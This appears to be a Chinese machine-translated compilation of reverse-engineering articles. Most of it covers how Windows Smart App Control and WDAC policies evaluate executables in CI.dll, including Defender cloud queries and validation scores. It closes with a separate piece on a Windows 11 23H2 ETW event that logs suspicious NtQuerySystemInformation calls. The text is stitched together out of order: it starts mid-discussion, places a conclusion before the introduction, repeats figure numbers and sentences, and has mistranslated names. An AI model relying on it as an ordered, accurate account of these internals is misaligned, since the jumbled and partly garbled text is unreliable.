仍然在操作系統的第1 階段期間,內核將在整個CI 回調中調用CiInitializePolicy。該例程將接收LOADER_PARAMETER_CI_EXTENSION 作為第一個參數。該例程將調用它的私有對應項CipInitializeSiPolicy。該函數將調用SIPolicyInitializeFromSerializedPolicies 來驗證、解析和加載來自加載程序參數CI 擴展的序列化策略。與winload 相同,如果策略解析正確,則策略將添加到g_SiPolicyHandles 和g_SiPolicyCtx。更重要的是,如果正確解析了序列化策略,則將調用函數CipUpdateCiSettingsFromPolicies。此方法根據每個策略的PolicyRules 更新全局CI 設置。在此函數中,CI 將通過調用SIPolicyNightsWatchEnabled 檢查是否啟用了SAC。

15.png

這個函數很有趣,我們終於可以開始研究SI 策略結構了。該函數將調用SIPolicyQueryOneSecurityPolicy。該例程具有以下原型:

16.png

這種方法在處理SI策略時經常出現。 Since用於檢查/獲取策略中設置的SecureSettings。策略結構(我個人將該結構命名為SI_POLICY)有以下兩個成員:SecureSettingsCount 和SecureSettingsData。

17.png

解析序列化策略時,所有安全設置所需的內存將被分配並存儲在SecureSettingsData 指針中。每當CI 必須查詢安全設置時,它會調用SIPolicyQueryOneSecurityPolicy 並使用它需要查找的Provider、Key 和ValueName。在內部,該函數會將這三個值存儲在一個結構中,該結構將用作bsearch 函數中的Key。搜索的基礎將設置為策略的SecureSettingsData。 CompareFunction 設置為SIPolicySecureSettingSearchCompare。 CompareFunction 將嘗試將SECURE_SETTINGS_DATA 中的Provider、Key 和ValueName 正在查詢的內容進行匹配。每個值的比較是使用RtlCompareUnicodeString 完成的。

在我們的示例中,當查看是否啟用了SAC(在SIPolicyNightsWatchEnabled 內部)時,傳遞給查詢函數的值如下:

Provider:Microsoft

Key:WindowsLockdownPolicySettings

ValueName:VerifiedAndReputableTrustMode如果在策略中找到安全設置,則認為SAC 已啟用,並將在g_CiPolicyState 中設置值NW_ENABLED (0x4000)。

這些值也以策略的XML 格式顯示。如果你檢查附錄中的實施和評估XML,你將看到此安全設置在兩者中都設置為true。

僅僅為了完成,PolicyState是一個位字段,它可以取以下值(有些值沒有),這些值大多取自函數CiInstrumentSiPolicyInfo的ETW事件元數據。

18.png

下圖顯示了在SIPolicyNightsWatchEnabled 中調用SIPolicyQueryOneSecurityPolicy 之前的狀態,其中SAC 強制策略用於查詢。

下面的偽代碼或多或少地展示了SmartLocker非繼承屬性的最後一部分是如何工作的。

12.png

注意: 根據稍後如何使用此函數中的值來填充TraceLogging字符串,我們知道防禦措施將評估過程的所有這一部分視為: Is防禦措施Shell。

這或多或少就是我們通過在調用之後立即雙擊從資源管理器啟動的進程所需要的:

13.png

CipCheckSmartlockerEAandProcessToken的情況就這樣了,現在再說說CipExternalAuthorizationCallback。

現在,讓我們說說Intelligent Security Graph所使用的代碼段,它現在已被擴展以添加一些SAC功能。首先,將再次檢查策略選項Intelligent Security Graph Authorization(智能安全圖授權),如果未設置,函數將使用從CipCheckSmartlockerEAandProcessToken獲取的值退出。如果該值在策略中處於活動狀態(SAC策略就是這種情況),該函數將使用前面討論的IsTrustedSigning來確定它是否應該繼續。如果映像可信,將執行以下檢查:

如果ValidatedSigningLevel等於“由使用AMPPL(7)的產品的AV簽名”,並且策略的值為VerifiedAndReputableAllowAntiMalware,則分數將用值AllowAnti Malware(0x100000)進行異或運算,函數將返回。

如果映像不可信,則函數將繼續查詢防禦措施。如上所述,向防禦措施發出查詢的函數是CiCatDbSmartlockerDefenderCheck。此函數將接收兩個MPFILE_TRUST_EXTRA_INFO結構,一個填充請求數據,另一個接收回複數據。代碼還將從FileObject傳遞FileName。 MPFILE_TRUST_EXTRA_INFO結構如下所示。

14.png

雙方之間的通信是使用RPC實現的,CI.dll將實現客戶端,服務器將在cryptcatsvc.dll中實現。為了記錄,RPC存根的IID是f50aac00-c7f3-428e-a022a6b71bfb9d43。

cryptcatsvc在服務CryptSvc中運行。在用於RPC服務器的發送函數中,我們重點關注以下函數:

s_SSCatDBSmartlockerDefenderCheck(Alreadypresentin22H1);s_SSCatDBSmartlockerDefenderCheck2(Newto22H2);s_SSCatDBSendSmartAppControlBlockToast;s_SSCatDBSendSmartAppControlSwitchEnforceToast;SmartLockerDefenderCheck函數的v1和v2之間的最大區別在於,在v2中,該函數接受請求和回复MPFILE_TRUST_EXTRA_INFO作為其參數的一部分。這兩個函數最終都調用了助手函數CatDBSmartlockerDefenderCheckHelper。

CI將從這些函數調用s_SSCatDBSmartlockerDefenderCheck2,它將首先加載MpClient.dll。

注意:在第一次執行時,將在防禦措施配置中啟用SmartLocker。該函數將調用MpClient導出的函數MpSmartLockerEnable。此函數只需註冊Defender ELAM證書信息(打開Wdboot.sys的句柄並調用InstallELAMCertificateInfo),然後使用RPC從MpSvc.dll調用方法ServerMpEnableSmartLocker,它將檢查防禦措施配置中是否設置了SmartLockerMode,如果沒有,它將寫入。

打開庫的句柄後,該函數將使用CI.dll提供的文件名來打開一個文件句柄,該句柄將被傳遞給MpClient導出的函數MpQueryFileTrustByHandle2,該函數只在來自於DefenderCheck2時被調用,如果是舊版本的DefenderCheck,則將調用MpQueryFileTrustByHandle。

在MpQueryFileTrustByHandle2內部,代碼將使用該文件的句柄來創建文件映射,該文件映射將被防禦程序用於對其進行內存掃描。下面的InSequence函數將通過從MpClient(客戶端)到MpSvc(服務器)發出RPC調用來執行。顯然,我們剛才看到的所有函數調用都接受CI.dll設置的MPFILE_TRUST_EXTRA_INFO作為參數的一部分。

ServerMpRpcMemoryScanStart:設置CMpMemScanContext和CMpMemScanEngineVfz(使用GetAttributeTrustCheck作為GetAttributions函數),並進行異步掃描;

ServerMpRpcMemoryScanQueryNotification:檢索掃描信息;

ServerMpRpcMemoryScanClose:關閉並清除CMpMemScanContext。

這些函數的內部結構不在本文所講的範圍,我想強調的是,當啟用SAC時,防禦措施將主動掃描文件並進行雲查詢。

從掃描檢索到的信息中有三個可能的信號:

0x31001:檢索到的MPTRUST_INFO(IGS);

0x31002:檢索到的MPFILE_TRUST_EXTRA_INFO(SAC);

0x4005:與RSIG_VIRINFO相關;

最後完成防禦措施通信,下圖顯示了代碼到達防禦措施時客戶端(CI)和服務器(cryptcatsvc)堆棧。

15.png

需要注意的是,如果我們的SAC處於強制狀態,並且設備中沒有互聯網連接,則默認操作是阻止該進程,並且將顯示一條通知,提示“智能應用程序控制無法驗證此應用程序,請檢查您的互聯網連接,然後重試”。

返回外部授權回調,如果RPC調用失敗,則未設置策略設置VerifiedAndReputableAllowUnknown,並且ValidateSigningLevel不是以下任何一項:

MicrosoftStoresignedappPPL(ProtectedProcessLight)MicrosoftStore-signedMicrosoftsignedWindowssignedOnlyusedforsigningofthe.NETNGENcompilerWindowsTrustedComputingBasesigned然後將驗證分數與值Unattainable(0x40000)進行異或運算,函數將返回。如果RPC調用成功,則將調用函數CiHandleDefenderSignals。顧名思義,此函數將處理防禦措施發送回的消息。它將遍歷返回的元素數,其中每個元素的類型為MPFILE_TRUST_EXTRA_INFO。根據ReplyType字段,它將執行不同的操作。更有趣的兩種情況是:首先,當返回信任結果時。在該示例中,信息將指向MP_INFO_RESULT,其中的值將復製到驗證上下文:

16.png

第二個有趣的示例是信息指向MP_NW_CONTROL枚舉。在該示例中,根據控制命令,該功能將被禁用或切換到強制模式。這基本上將更新VerifiedAndReputablePolicyState RegKey,並更新WorkItem中的策略。

17.png

在我們從學習模式更改為強制模式的情況下,將發出對函數s_SSCatDBSendSmartAppControlSwitchEnforceToast的RPC調用。在此函數中,DLL wldap . DLL將被加載,然後調用函數WldpSendSmartAppControlSwitchEnforceToast。

從信號處理程序回來後,有一些細微差別。如果NW控制命令設置了標誌IsUnfriendlyFile,則Score將更新為值UnfriendalyFile(0x80000),函數將返回。如果未設置標誌,則TrustInfo和FileObject將被傳遞到帶有標誌0x82的函數CipSetFileCache中,這意味著EA$Kernel.Purge.CIpCache將用於存儲此信息。

最後,需要根據防禦程序返回的信任調整分數,有5個選項:

Trust==1:分數將使用值0x202進行異或運算,不過我對這個值不太了解;

Trust==-1 (0xFFFFFFFF):如果策略設置VerifiedAndReputableAllowUnknown被設置,則分數將使用值AllowUnderknown(0x20000)進行異或運算;

Trust==-2 (0xFFFFFFFE):分數將使用值Malicious (0x80)進行異或運算;

Trust==-3 (0xFFFFFFFD):分數將用PUA(0x100)值進行異或運算;

任何其他情況下,分數將用值0x42進行異或運算。

這幾乎就是外部授權回調的全部內容,現在我們回到調用外部授權回調時的SIPolicyValidateImageInternal!

SIPolicyValidateImageInternal在進入外部授權回調之前,我們將討論SIPolicyObjectValidationEngine函數如何遍歷策略並調用內部SIPolicy ValidateImageInternal,後者稍後將調用外部auth回調。現在,調用回調後,我們返回到SIPolicyValidateImageInternal,並返回驗證分數。如果啟用了SAC,則該函數將繼續評估分數,並將此分數傳播到驗證引擎分數,並根據該得分設置相應的NTSTATUS。

18.png

如上圖所示,在大多數分支中,它會將相應的NTSTATUS設置為驗證狀態,然後跳轉到我所稱為ProcessDbgAndReprieve的狀態。這只不過是一種檢查內核調試器是否附加到調試器控制台中以記錄策略衝突的方法。

19.png

如果未遵循前一個映像中的任何分支,或者分數為Unattainable但設置了AllowUnknown,則函數將繼續根據策略規範評估對象。首先檢查文件規範,這將在函數SIPolicyMatchFileRules內完成。此函數將接收以下參數:

具有要評估的文件規範的策略;

OriginalFileName;InternalName;FileDescription;ProductName;我強烈建議閱讀MSDN的“理解Windows防禦應用程序控制(WDAC)策略規範和文件規範”一節,以了解更多關於策略規範和可用於它們的不同選項的內容。

與我們在第1部分中看到的Policy Secure Settings類似,該函數將使用作為key傳遞到函數bsearch的數據建立一個結構。關鍵結構具有以下原型:

20.png

bsearch函數的base和num將取自SI_POLICY結構。將策略解析為SI_policy結構時,將設置一個包含兩個場景的數組。每個場景都包含其特定的文件規範、允許的簽名者、拒絕的簽名者和異常規範。如上所述,當調用SIPolicyMatchFileRules時,要評估的場景的特定數量被傳遞給函數。此數字將用作函數的索引,以了解要選取Scenarios數組的哪個元素。每個場景都由以下結構表示:

21.png

如果沒有FileName級別的文件規範匹配,則函數將繼續計算哈希級別的文件規範:

22.png

如果FileName或Hash匹配,則SIPolicyMatchFileRules返回TRUE,驗證狀態將設置為status_SYSTEM_INTEGRITY_POLICY_VIOLATION。

如果對SAC策略使用的哈希和文件名感興趣,可以查看策略的FileRule標籤下的整個列表。

如果沒有匹配的文件規範,則下一步(如果映像已簽名)是根據“拒絕”和“允許”簽名者驗證簽名鏈信息。首先,將檢查被拒絕的簽名者。如果與前面相同的規範在此匹配,該函數將把驗證狀態設置為status_system_integrity_policy_violate。如果沒有拒絕簽名者規範匹配,代碼將繼續檢查允許的簽名者規範。在該示例中,如果存在匹配,則會清除以前的任何狀態/分數。根據策略簽名驗證映像簽名的過程主要在函數SIPolicyValidateChainAgainstSigner中完成。此函數將作為第一個參數接收映像的SI_CHAIN_INFO,並在@r8中接收POLICY_SIGNERS_DATA。

關於這個POLICY_SIGNERS_DATA結構,基本上SI_POLICY結構保留一個POLICY-SIGNERS_DATA數組。這些代表兩種方案的所有Allow和Deny簽名。代碼知道哪些規範適用於哪個場景的方式,這意味著要使用POLICY_SIGNERS_DATA數組的哪個索引是非常聰明的。這是我之前在文件規範中沒有解釋的事情,所以現在是檢查它的好時機。如果你返回並檢查SI_POLICY_SCENARIO結構,將看到對於每個規範類型結構(file, Allow, Deny),都有一個SI_RULES結構,其中包含一個我稱為IndexArray的字段。基本上,這是一個索引數組,用於指示該特定場景和規則必須使用包含數據的數組中的哪個索引。讓我們看一個快速的偽代碼片段,以便更好地理解這一點。

23.png

這可能不是百分之百準確的,因為我省略了很多在中間進行的檢查。

為了更好地了解簽名是如何驗證的,接下來你可以找到POLICY_SIGNERS_DATA的原型,注意,這將適用於允許簽名者和拒絕簽名者。

24.png

通過查看SI_CHAIN_INFO和POLICY_SIGNERS_DATA,你可以或多或少地了解如何在SIPolicyValidateChainAgainstSigner函數中進行比較。最後,為了總結Signer規範的驗證,下面是在SIPolicyValidateChainAgainstSigner條目處使用SAC強制策略驗證ProcessHacker時記錄的映像。

25.png

老實說,為了達到這張圖片的目的,我不得不稍微修改代碼流。因為在第一次簽名檢查時,Type將匹配,然後它將退出循環。之所以會實現這一點,是因為這個POLICY_SIGNERS_DATA中的信息比第一個檢查的要多。在第一次選中時,唯一的填充值是Type(設置為0x14)。我已嘗試查找有關此Type值的信息,但找不到任何信息。

因此,在為每個活動策略和補充策略運行整個過程之後,我們將返回函數CipApplySiPolicyEx,為每個BasePolicy提供一個CI_VALIDATION_RESULT。補充策略的結果將寫入與BasePolicy相同的CI_VALIDATION_RESULT中。此時,該函數只會遍歷驗證結果,將這些結果存儲在validation Context中。此外,此時SmartLocker事件將記錄在函數CiLogSIPolicySmartlockerEvent中。此處可以記錄四種類型的事件:

SmartlockerOperationalAudit(EventId:3091)SmartlockerOperationalFailure(EventId:3092)SmartlockerVerbose(EventId:3088)SmartlockerOperationalSuccess(EventId:3090) 26.png

我們幾乎完成了,現在將進入調用堆棧,將驗證狀態傳遞到上面的函數。最後,我們將回到CI入口點CiValidateImageHeader,與之前一樣,我們不會對這個函數進行過多討論。關於SAC唯一有趣的一點是,如果SigningLevel匹配以下任何一項:

尚未檢查簽名級別;

文件未簽名;

受Windows防禦措施應用程序控制策略信任;

開發者簽名代碼;

SAC結果是允許執行,然後將使用函數CipInstrumentNightsWatchAllow記錄操作。此函數可以為提供程序CodeIntegrity編寫四個基於TraceLogging的事件。具有以下名稱的NWActivityVerbose CodeIntegrity.NWActivity。

27.png

執行此函數時,將記錄QuestionableAllow或Allow。如果採用了記錄QuestionableAllow的路徑,那麼如果所需數據可用,還將寫入QuestionaleAllowSignatureInfoOriginClaimData。

由於這些是基於跟踪日誌記錄的事件,我們需要使用一些特殊辦法來捕獲跟踪。值得慶幸的是,Matt已經做了所有艱苦的工作來研究和記錄這類事件的過程。看了他的文章《Windows RE使用WPP和TraceLogging》 後,我們可以使用powershell中的以下4行代碼來啟動ETW會話,該會話將捕獲NWActivity和NWActovityVerbose提供程序。

28.png

開始跟踪並使用一些應用程序/安裝程序後,你應該有一個可以用EventViewer打開的EventLog,你可以發現防禦措施最終信任ProcessHacker之類的事情。

29.png

總結就個人而言,我認為微軟為提高操作系統的安全性而採取的措施是很好的,其最終目標是讓用戶更加安全。另一方面,我確實看到了SAC和Windows 10 S之間的一些相似之處。對於SAC,當設置為強制時,限制由具有數字簽名的應用程序設置,如果沒有簽名,則由防禦措施雲認為可信的應用程序進行設置。

第一種選擇,即使你知道數字簽名可以很好地驗證應用程序,許多開源項目或自由開發者負擔不起,不幸的是,這給開發者帶來了一些限制。

第二個選項,即對“智能雲安全服務”的查詢,這也是我希望微軟提供更多信息的地方,因為基本上應用程序能否運行的決定將完全取決於微軟。

本文會詳細分析Windows即將推出的最大安全功能——智能應用控制(Smart App Control,SAC)。 “智能應用控制”功能是什麼,為什麼我認為它是Windows 中最牛的安全功能之一。首先,SAC 會嵌入在操作系統中,啟用後將阻止惡意或不受信任的應用程序。這與AppLocker 非常相似。

在之前一篇文章中,我們看到了SAC是如何啟用和初始化的。在本文中,我們將討論SAC如何執行這些操作。即使SAC是一個新功能,該功能使用的大部分代碼也已經在操作系統中了。我的意思是,在22H2之前的版本中,通過使用適當的策略規範,可以獲得類似的行為。總之,SAC的最大變化是MS將激活特定的WDAC策略,類似於啟用HVCI時,操作系統如何啟用Driver Block Rule策略。

需要注意的是,因為我們在這篇文章中看到的很多內容在操作系統中已經存在了很長時間。 AppLocker或AppID等功能利用了它。當然,有幾個方面只適用於SAC,我一定會注意到這些。從好的方面來看,這篇文章的絕大多數可以推斷出其他WDAC策略是如何評估的。

1.png

SAC運行在本節中,我們將重點關注CI處理來自內核的驗證請求所採取的步驟。我們將深入探討此過程中涉及的主要例程,還將討論CI使用的一些主要結構。正如我剛才提到的,這些步驟中的大多數並不是SAC獨有的,無論啟用哪種策略,都將採取這些步驟。如上圖所示,我們看到有三個主要的評估來源。據我所知,這些要點與以下功能/策略規範有關,至於是選擇使用一個或多個評估取決於策略規範。

OriginClaim (EAs or Token): 託管安裝程序、AppLocker、SmartScreen和SAC;

Query 防禦措施: Intelligent Security Graph (ISG) SAC;

Policy FileRules: 通用於所有具有FileRule的策略。

2.png

在上一篇文章中,我們已經說過全局g_CiPolicyState具有位NW_ENABLED,這意味著SAC已啟用,SAC策略(強製或評估)處於活動狀態,並存儲在g_SiPolicyCtx中。現在,讓我們看看CI向內核提供的回調,看看內核的驗證方式。以下函數建議執行某種類型的驗證:

CiValidateImageHeader;

CiValidateImageData;

CiValidateFileAsImageType;

CiRevalidateImage;

在本文中,我將只關注CiValidateImageHeader。

CiValidateImageHeader可以說,此函數是大多數CI驗證的主要入口點。內核將從MiValidateSectionCreate中引用的SeValidateImageHeader調用此函數。 CiValidateImageHeader將處理CI初始化的第2階段,主要初始化minCrypt、ETW、Lookaside緩衝區等。一旦完成(只有一次),第一步是獲取指定映像(CiGetActionsForImage)行為。此函數將根據諸如Requested SigningLevel之類的內容,或者如果對象來自受保護進程或系統進程,來確定將要進行的驗證操作,這些操作是位字段枚舉,但我不知道大多數值的含義.

操作進行後,函數就可以開始驗證映像了。如果操作變量設置了位0(action_FILE_In_CACHE(0x1)),則CI將嘗試獲取之前為此FO設置的任何驗證數據,並重新驗證。

在本文中,我們不會涉及CI緩存及其驗證原理。本質上,它將嘗試獲取內核EA:$Kernel.Purge.CIpCache或$Kernell.Purge.ESBCache(請參閱函數CipGetFileCache)。然後,它會將策略應用於CiApplyPolicyToSyntheticEa內的這些屬性。這個例程最終將調用CipApplySiPolicyEx,我們稍後將詳細討論。

如果未設置“file in cache”屬性,則會分配用於處理驗證的主結構(CipAllocateValidationContext)。此結構用於所有類型的驗證,例如,此上下文也用於HVCI驗證(請參閱CiHvciSetValidationContextForHvci)。一旦分配了這個上下文,我看到UMCI驗證會發生兩個操作。

如果設置了位2(ACTION_PAGE_HASH(0x4)),驗證函數為-CipValidatePageHash;

如果設置了位8(ACTION_FILE_HASH(0x100)),驗證函數為-CipValidateFileHash。

CipValidateImageHash將接收發生操作的Validation函數作為函數指針。無論傳遞的是什麼函數指針,PageHash還是FileHash,CipValidateImageHash最終都會調用它。在這兩個驗證函數中,CI都會使用被驗證對象的信息更新驗證上下文。諸如FileInfo(CipUpdateValidationContextWithFileInfo)、文件版本(CiGetFileResourceInformation)、嵌入簽名(CipImageGetCertInfo)或對象哈希(Page CipCalculateHeaderHash或File CipCalpulateImageHash)。有了所有這些信息,代碼將通過函數CipApplySiPolicyEx方法繼續應用策略。

對於未簽名映像的驗證,驗證函數將返回STATUS_INVALID_IMAGE_HASH,代碼將進入CipApplySIPolicyUMCI,最終調用前面提到的CipApply SiPolicyEx。相反,對於簽名文件,將從CiVerifyPageHashSignedFile或CiVerify FileHashSingedFile訪問此函數。簡單說明一下,這兩個函數有它們的HVCI對應函數CiHvciXxx。

CipApplySiPolicyEx顧名思義,此函數將把策略應用於正在驗證的對象。該函數將首先設置兩個結構,然後將其傳遞給驗證引擎。一個結構將保存正在驗證的ImageFile的信息,而另一個結構則包含“外部”授權過程所需的信息,我說“外部”授權是因為MS在驗證對象的回調函數名中使用了“外部”授權這個詞。

這兩個結構將存儲在Validation Context中,並且實際上都將被來自Validation Context的數據填充。其中一個包含映像數據,我命名為CI_VALIDATE_IMAGE_DATA,其中包含以下內容:

3.png

另一方面,外部授權結構(我將其命名為CI_EXTERNAL_AUTH)具有以下有趣的值:

4.png

在調用驗證引擎例程之前,CipApplySiPolicyEx將設置一個結構數組,其中包含每個策略的驗證結果,該數組的大小將等於活動策略的數量。我將此結構命名為CI_VALIDATION_RESULT,它具有以下字段:

5.png

最後,我們準備調用SIPolicyObjectValidationEngine,它具有以下原型:

6.png

這個例程將簡單地遍歷策略和補充策略,為每個策略調用內部例程SIPolicyValidateImageInternal。

內部驗證例程的任務是調用外部授權回調,以從“外部源”獲取驗證分數。它將根據此分數,選擇繼續或不繼續根據策略中的規範評估映像。我們將首先關注外部回調,設置為函數CipExternalAuthorizationCallback,然後我們將討論如何評估策略規範。

從代碼中我可以看到,這與MS在文件規範優先順序一節中聲明的有些不同。他們說“它將首先處理它找到的所有顯式拒絕規範。然後,它將處理所有顯式允許規範。如果不存在拒絕或允許規範,WDAC將檢查託管安裝程序EA。最後,如果這些集合都不存在,WDAC會回到ISG”。相反,在代碼中,似乎在處理FileRule之前檢查了託管安裝程序和ISG(外部授權)。

CipExternalAuthorizationCallback這個函數包含了SAC的核心功能,即使它從21H2到22H2沒有太大的變化,當啟用SAC時,有一些細節會造成很大的不同。儘管如此,我們將要討論的大部分內容都將被AppLocker和ISG使用(並且已經被使用了),所以從好的方面來看,我們也將從中學習一些東西。為了概述我們是如何做到這一點的,下面是我們到達外部授權回調時的堆棧,用於驗證未簽名映像時的堆棧。

7.png

該函數將通過檢查策略選項Intelligent Security Graph Authorization(智能安全圖授權)或Managed Installer(託管安裝程序)啟動,如果這些選項都沒有設置,則該函數將退出,SIPolicyValidateImageInternal將繼續處理策略FileRule,我們將在稍後的章節中看到這一點。

如果設置了任何選項,下一步是根據簽名級別確定映像是否可信。這是通過使用為映像獲取的ValidatedSigningLevel,並將此值與全局變量g_CipWhichLevelComparisons內索引為0xC的位掩碼進行比較來實現的。

請注意:全局變量g_CipWhichLevelComparisons存儲了一個指向ulong數組的指針。每個值表示適用於此簽名級別的比較級別。通常與已驗證的簽名級別一起使用,以確定映像的不同操作/選項。例如,對於等於“File Unsigned”(即數組中的索引1)的已驗證簽名級別,位掩碼為0xFFFFFFFE,因此大多數情況下測試此位掩碼時,結果都為正值。在其他情況下,如上所述,索引在代碼中被硬編碼為僅作用於與該索引的位掩碼匹配的已驗證簽名級別。下表有望幫助理解g_CipWhichLevelComparisons和ValidatedSigningLevel之間的關係。

8.png

如上表所示,索引0xC表示位掩碼0x5000,表示“Windows簽名”和“Windows TCB簽名”。此外,接下來的兩個級別“僅用於.NET NGEN編譯器的簽名”和由使用AMPPL的產品的反病毒簽名”也將包含在可信映像列表中。此時,函數將繼續調用CipCheckSmartlockerEAandProcessToken以獲得第一個驗證分數。

我覺得這是一個討論命名的好時機,希望微軟的人能聯繫到我,並澄清命名。有人稱之為Smart App Control和Nights Watch,也有人稱之為AppLocker,內部名稱似乎是SmartLocker。相同或非常相似的事物有4個不同的名稱。這確實有點令人困惑。

該函數具有以下原型:

9.png

這個函數有兩條路徑,其中一條總是被執行,另一條基於booleanIsTrustedSigning。如果不受信任,那麼下面的EA將被查詢為正在驗證的文件對象,它也試圖從當前流程文件對像中獲得相同的EA,但除了存儲在驗證上下文中,我沒有看到它們在其他地方被使用。

$ Kernel.Smartlocker.Hash: 包含映像的哈希;

$ Kernel.Purge.Smartlocker.Valid: 布爾值是否有效;

$Kernel.Smartlocker.OriginClaim: 包含我命名為EA_ORIGIN_CLAIM的結構。

10.png

如果獲得了有效的EA,那麼將檢查OriginClaim結構以確定圖像的分數。 Origin值將決定第一個分數,如果Origin==0,則score |=1,如果Origin==1,則score |=0x1002。

不過我對這方面了解不多。這很可能與WDAC在策略中設置託管安裝程序選項時在AppLocker中使用的特殊規範集合有關。這很可能與在策略中設置託管安裝程序選項時WDAC使用的AppLocker中的特殊規範集合有關。從我所看到的,我知道appid.sys確實設置了此EA,另一種設置此EA的方法是通過CI回調cisetcachedorigin聲明。這個函數在發出帶有標誌0x2000的syscall NtSetCachedSigningLevel時被內核調用,當然不像調用這個syscall來設置EA origin聲明那麼容易,如果這個syscall以前的模式是UserMode,那麼NtSetCachedSigningLevel2將確保請求來自一個受保護的進程。

下一步,無論我們是否檢查了EA,都是獲取存儲在令牌對像中的OriginClaim。對於令牌對象,origin聲明存儲在令牌的SecurityAttributes列表中,這些屬性存儲為Authz SecurityAttributes,並且可以使用函數sequerysecurityattributeken按名稱查詢/檢索。在本例中,將尋找兩個安全屬性:

SMARTLOCKER://ORIGINCLAIM;

SMARTLOCKER://SMARTSCREENORIGINCLAIMNOTINHERITED(Newin22H2,previously“SMARTLOCKER://SMARTSCREENORIGINCLAIM”)

首先將查找OriginClaim。如果發現,分數將相應調整。同樣,我對這方面不太了解,也沒有有關此聲明的結構外觀的信息(appid.sys設置此值令牌)。

之後,將查詢SmartScreen OriginClaim未繼承屬性,如果它被發現並設置標籤CLAIM_DANGEROUS_EXT (0x80) (這不是官方名稱),然後函數將繼續檢查ImageFile是否有被認為是危險擴展名。同樣,在所有情況下,代碼都將檢查ImageFile是否具有InstallerExtension。對於安裝程序擴展,它只會檢查.msi,對於危險擴展的情況,這些值如下:

11.png

如果ImageFile與這些值中的任何一個匹配,則分數將設置為DangerousExtension (0x800),並通過調用CiCatDbSmartlockerDefenderCheck向防禦措施發出查詢,有關此函數稍後將詳細討論。

微軟最近的精力主要放在了Win11 22H2年度更新上了,正式版本預計要到明年9月底正式發布,現在已經大量推送。

近年來,微軟下大力緩解和修復特定的惡意軟件或漏洞,增加了大量的緩解措施,如零初始化池分配(zero-initialized pool allocation)、CET、XFG和最新的CastGuard,攻擊者利用漏洞變得越來越困難。最重要的是,通過ETW,特別是威脅情報ETW通道,可以提高對惡意軟件和利用技術的可見性。

在23H2預覽版本中,微軟推出了一個新的ETW事件,這次針對的是NT API,這些API可針對各種可疑行為。 Windows 事件跟踪(ETW) 提供了一種用於檢測用戶模式應用程序和內核模式驅動程序的機制。 Log Analytics 代理用於收集寫入到管理和操作ETW 通道的Windows 事件。 但是,有時需要捕獲和分析其他事件,例如寫入分析通道的事件。

系統調用使用可見性隨著這一新的變化,微軟將重點放在幾個系統調用上,這些調用通常不應該被許多應用程序使用,但可能會被漏洞利用,例如KASLR繞過、VM檢測或物理內存訪問。這個新事件所涉及的許多情況都已被限制為特權進程,有些需要為管理員或系統進程保留特權,有些則限制為低IL或不受信任的調用方。但是,試圖調用這些系統調用中的任何一個都可能表明存在可疑活動。

到目前為止,EDR檢測這類活動的唯一方法是將用戶模式掛鉤放置在洩漏內核指針的所有不同NtQuery函數中。但實踐證明,這並不理想。一段時間以來,微軟一直試圖讓EDR遠離用戶模式掛鉤,主要是通過添加ETW事件,允許EDR通過非侵入性方式使用相同的信息。

為了跟上這一趨勢,Windows 11 23H2向威脅情報頻道添加了一個新的ETW事件——THREATINT_PROCESS_SYSCALL_USEGE。生成此ETW事件是為了指示非管理員進程對API+信息類進行了API調用,該API調用可能會及時發現某些異常以及潛在的惡意活動。此事件將為兩個API中的信息類生成:

NtQuerySystemInformation;

NtSystemDebugControl;這些API有許多信息類,其中許多是“無害的”,並且通常被許多應用程序使用。為了避免發送不感興趣或無用的信息,以下信息類將生成ETW事件:

1.png

包含這些信息類的原因各不相同,有些會洩漏內核地址,有些可用於VM檢測,另一些用於硬件持久性,還有一些表示大多數應用程序不應具備的物理內存知識。總的來說,這一新事件包含了應用程序無法正常運行的各種指標。

每一種緩解措施都必須考慮潛在的性能影響,當在頻繁調用的代碼路徑中生成ETW事件時,可能會降低系統的速度。因此,有一些限制適用於此:

1.事件只會為用戶模式的非管理員調用者生成。由於Admin-內核不被認為是Windows上的邊界,因此許多緩解措施不應用於管理進程,以降低對系統的性能影響。

2.對於每個流程,每個信息類只生成一次事件。這意味著如果NtQuerySystemInformation被一個進程調用10次,並且都使用相同的信息類,那麼只會發送一個ETW事件。

3.只有在調用成功時才會發送事件,失敗的調用將被忽略,並且不會產生任何事件。

為了支持上述第2個限制並跟踪流程所涉及的信息類,EPROCESS結構中添加了一個新字段:

2.png

當一個流程第一次成功調用一個被監控的信息類時,將設置與該信息類對應的位,即使沒有為這些流程發送ETW事件,也會發生在管理流程上。 ETW事件僅在未設置位時發送,已確保每個類只發送一次事件。雖然沒有API來查詢這個EPROCESS字段,但它確實有一個很好的副作用,那就是留下每個進程使用哪些信息類的記錄——如果你分析一個系統,可以查看這些記錄,但前提是在系統中啟用了Syscall Usage事件,否則位不會被設置。

檢查數據目前還沒有啟用這個事件,也沒有人使用它,但我希望看到Windows Defender很快開始使用它,希望其他EDR也能使用。我手動啟用了這個事件,以查看這些“可疑的”API是否在常規設備上被使用,使用我的I/O環漏洞作為完整性測試,因為我知道它使用NtQuerySystemInformation洩漏內核指針。以下是正常執行幾分鐘後的一些結果:

3.png

顯然,有一些信息類在設備上使用非常頻繁,到目前為止主要的是SystemFirmwareTableInformation。這些常見的類可能會在早期被EDR忽略,因此更容易被濫用。

總結這是否意味著不再有基於API的KASLR繞過,或者所有現有漏洞都會立即被檢測到?當然不會。 EDR需要一段時間才能開始註冊和使用這些事件,特別是因為23H2將在明年秋天的某個時候正式發布,而大多數安全產品可能還需要一兩年的時間才能意識到這一事件的存在。由於此事件被發送到只有PPL才能註冊的威脅情報頻道,因此許多產品根本無法訪問此事件或其他與攻擊相關的事件。此事件將使EDR能夠獲取惡意進程進行的一些額外調用的信息,但這只是攻擊的其中一步,如果安全產品過於依賴它,無疑會導致許多誤報。無論如何,這一事件只涉及一些已知的指標,而其他許多指標則被忽略。